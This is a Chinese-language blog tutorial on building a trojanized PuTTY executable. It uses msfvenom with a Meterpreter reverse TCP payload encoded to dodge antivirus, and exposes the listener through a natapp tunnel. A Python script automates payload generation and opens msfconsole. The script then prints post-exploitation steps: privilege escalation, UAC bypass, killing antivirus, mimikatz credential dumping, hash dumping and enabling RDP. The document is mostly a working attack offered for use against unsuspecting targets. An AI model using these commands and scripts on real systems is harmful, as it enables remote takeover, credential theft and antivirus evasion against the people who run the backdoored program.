本文分成三个模块
利用natapp进行内网穿透;
利用msfvenom生成后门渗透;
半自动化脚本进行优化。 利用natapp进行内网穿透首先需要下载一个工具用于内网穿透(https://natapp.cn/),内网穿透主要是利用远程服务器将tcp连接转发到自己的电脑上。这样子就可以实现不同网段内计算机进行tcp连接。 我使用natapp工具进行内网穿透,注册并且免费获得自己的隧道。 本地地址填写127.0.0.1表示本机。 本地端口可以填写空闲端口。 authtoken用于开启natapp服务的code。 下载对应版本的natapp工具后,在命令行输入./natapp authtoken=xxxxxx。 打开后就可以看到自己的转发地址和端口,例如为server.natappfree.cc:38100。 这时候就完成了端口转发,保持服务开启即可。 利用msfvenom生成后门渗透需要将自己的payload与任意exe文件进行捆绑,当目标点击使用我们捆绑后的exe后门就会自动反弹shell。 采用windows/meterpreter/reverse_tcp ,这是一个常用的windows tcp反弹payload。 比较常用的exe软件例如浏览器,ssh等其他用户长期开启软件,示例中用putty.exe为示范。 在终端输入如下命令:
- msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=8998 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
复制代码-a 表示目标机器架构;
-platform 表示系统平台;
-x 表示捆绑软件;
-p表示paylaod。 lhost和lport 输入之前内网穿透的ip和port。
-i 表示编码次数,编码次数越多被检测的风险越大;
-o 表示输出文件的位置和名字。 其他参数可以使用msfvenom –h 查看相应参数。 当目标打开puttyX.exe后我们在msfconsole上会监听到,就完成了前期的渗透。 半自动化脚本进行优化由于msfvenom在每次生成文件都需要指定一系列参数,以及natapp还需要打开,最终还要打开msf进行反弹shell的监听,我尝试将三者结合在一起。就编写了一个简单的半自动化脚本,只需要输入要捆绑软件的位置,natapp转发的端口,编码次数,就可以直接生成payload文件,并且自动打开端口转发和打开msfconsole控制台。只能说是简单地集成下。 以下是文件的目录:
natapp.sh和msfconsole.sh写了一句话命令用于打开natapp和msfconsole。 startAttack.py文件主要代码如下:
- import os
- import webbrowser
-
- while True:
- #banner
- print('''
- This Script is for attacking prepare
- --------------------------------------------------------------------------
- ___________ ___ ___ __
- \_ _____/__________ / | \_____ ____ | | __ ___________ ______
- | __)/ _ \_ __ \ / ~ \__ \ _/ ___\| |/ // __ \_ __ \/ ___/
- | \( <_> ) | \/ \ Y // __ \\ \___| <\ ___/| | \/\___ \
- \___ / \____/|__| \___|_ /(____ /\___ >__|_ \\___ >__| /____ >
- \/ \/ \/ \/ \/ \/ \/
- --------------------------------------------------------------------------
- ''')
-
- #Open new terminal :natapp
- print"[+]Open NAT service"
- os.system('open -a Terminal.app natapp.sh')
-
-
- #Generate Payload
- source_path=raw_input('Program path:').strip()
- host='server.natappfree.cc'#raw_input('IP:').strip()
- port=raw_input('PORT:').strip()
- code_time=raw_input('Code Times(3):').strip()
- if len(source_path)!=0 and len(port)!=0 and len(port)!=0:
- if len(code_time)==0:
- code_time='3'
-
- print(
- '''
- ***************************************
- Source_path:%s\n
- IP:%s\n
- PORT:%s\n
- Code Times:%s\n
- '''
- )%(source_path,host,port,code_time)
-
- #confirm info
- flag=raw_input('(Y/N) ').strip()
- if flag=='Y' or flag=='y':
- print'''
- [+]Start Prepare attack. Open all tools. 3.2.1....
- '''
- cmd_line='msfvenom -a x86 --platform windows -x %s -k -p windows/meterpreter/reverse_tcp lhost=%s lport=%s -e x86/shikata_ga_nai -i %s -b "\\x00" -f exe -o /Users/steven/Desktop/X.exe'%(source_path,host,port,code_time)
- # output = os.popen(cmd_line, 'r')
- # print output.read()
- os.system(cmd_line)
-
- #Open new terminal :Msfconsole
- os.system('open -a Terminal.app msfconsole.sh')
-
- print'''
- ***************************************
- Open msfconsole....
- Open browser.Url:http://www.objectif-securite.ch/en/ophcrack.php
-
- 1.getuid\getsystem
- 2.background
- 3.use exploit/windows/local/ask
- set session 1
- exploit
- (i.run killav)
- 4.load mimikatz(msv / kerberos / wdigest / livessp)
- 5.run post/windows/gather/smart_hashdump
- 6.run post/windows/manage/enable_rdp
-
- '''
- # webbrowser.open("http://www.objectif-securite.ch/en/ophcrack.php")
- # webbrowser.open("https://www.jianshu.com/p/6535203977c4")
- # webbrowser.open("https://natapp.cn")
- break
- else:
- continue
复制代码 这次渗透只是采用了非常传统的payload进行测试,集成脚本也没有优化都是随手撸出来一个。在脚本上肯定还有优化的地方和潜力,payload也可以多添加进行选择。以上都在日常无聊把玩中顺手弄的,如有不足还要多多指教。
|